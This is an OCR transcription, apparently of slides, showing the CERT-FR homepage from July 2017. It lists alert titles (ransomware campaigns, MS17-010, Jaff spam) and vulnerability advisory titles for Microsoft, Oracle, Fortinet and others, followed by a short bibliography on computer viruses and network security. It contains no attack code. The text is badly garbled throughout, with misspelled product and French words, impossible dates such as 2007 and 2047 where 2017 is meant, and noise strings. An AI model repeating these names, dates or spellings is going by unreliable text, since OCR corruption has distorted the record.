Centre gouvernemental de veille, d'alerte et de réponse aux attaques informatigues

son site des cyberattagues

LERTES (LES 5 PLUS RECENTES)
Les akertes sont des decumants destinds 3 prévenir d'un danger immediat,

Campagne da makciels prenant l'apparance d'un rancongecial 4 multiples capacitds de propagation {Corrigée la 04 juillet 2017)
Propagation d'un rangongiciel exploitant les vulndrabilités MS17-010 (Corrigée le 26 juin 2017)

Multiples vulnérabilivés dans Microsoft Windows XP et Windows Server 2003 (15 mai 2017)

Campagne de messages électroniques non sollicités de type Jaff {Corrigée le 14 mal 2017)

Wulnérabilité dans Microsoft Malware Protaction Engine (Corrigée le 11 mal 2007)

vis (1LEs 20 PLUS RECENTS)

Les avis sont des documents faisant dtat de vulnérabités et des moyens de s'en prémunir.

CERTFR: 2017 ALE 008

CERTFR-2017-ALE-011

e s i Jia I ]

CERTFR-2017-AVE Multiphes vulndrabilités dans Microsoft Outiook (28 et 2017)

Multiples vulnérabilités dans Fortinet Fortb0S (28 juillet 2017)

Multiples vulndrabilités dans les produits VMware (28 juilet 2017)

Multipbes vulndrabilités dans McAfee Web Gateway (27 jusllet 2017)

Multiples vulndrabilités dans Fortinet Forti0S et Fortianalyzer (27 jullet 2017)
Multiples vulnérabiités dans Google Chrome (26 juillet 2017)

Multiphes vulnérabilités dans Joomlal (26 juillet 2017)

Vulndrabilité dans bes produits Citric (26 jullet 2017)

Multiples vulnérabilités dans le noyau Linus dUbuntu (21 jullet 2017)
Wulnérabilitd dans le noyau Linux de SUSE (20 juillet 2017)

Multiphes vulndrabifités dans Oracle WM Server pour 86 et Oracle Linux (20 juillet 2017)
WYulnérabilité dans Cisco Web Secunty Appliance (20 juillet 2017)

Multiples vulnérabilités dans les produits Apple (20 juillet 2017)

Multiples vulndrabiités dans SCADA Schneider Bectric Tno TWiew {19 juillet 2017)
Multiples vulnérabilités dans Oracle Sun Systems Products Suite {19 juillet 2017)
Multiples vulnérabilitds dans Oracle Database Server (19 judlet 2017)

Multiples vulnérabilités dans Oracle Linux and Virtualization {19 juillet 2017}
Multiphes wulnérabiités dans Gracle MySQL (19 juillet 2017)

Multiphes vulnérabilités dans Oracle Java SE (19 juillet 2017)

Multiphes vulndeabilitds dans Wirashark (19 juillet 2017}

ULLETINS D'ACTUALITE (LES 5 PLUS RECENTS

Las bulletins d'actualité fournissent une llustration par Factualitd récente da cartanes mesures pragmatiques & apphquaer,

Elileleielelifelilelefefilelelelefa e e

CERTFR-2017-ACT-030

Bullzbn d'actualitd numéro 030 de Fannée 2047 {31 julllet 2017)
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el Bibliographie

» Les virus informatiques : théorie, pratique et
applications, E. Filiol, 2004, Springer

« Computer networking and the internet, F. Halsall,
Addison Welseley, 2005 + additional student support at
www.pearsoned.co.uk/halsall

* Network security bible, E. Cole, R. Krutz, JW Conley ,
Wiley, 2005.

* Preventing Ransomware, A. Mohanta M. Hahad K.
Velmurugan, 2018 Packt
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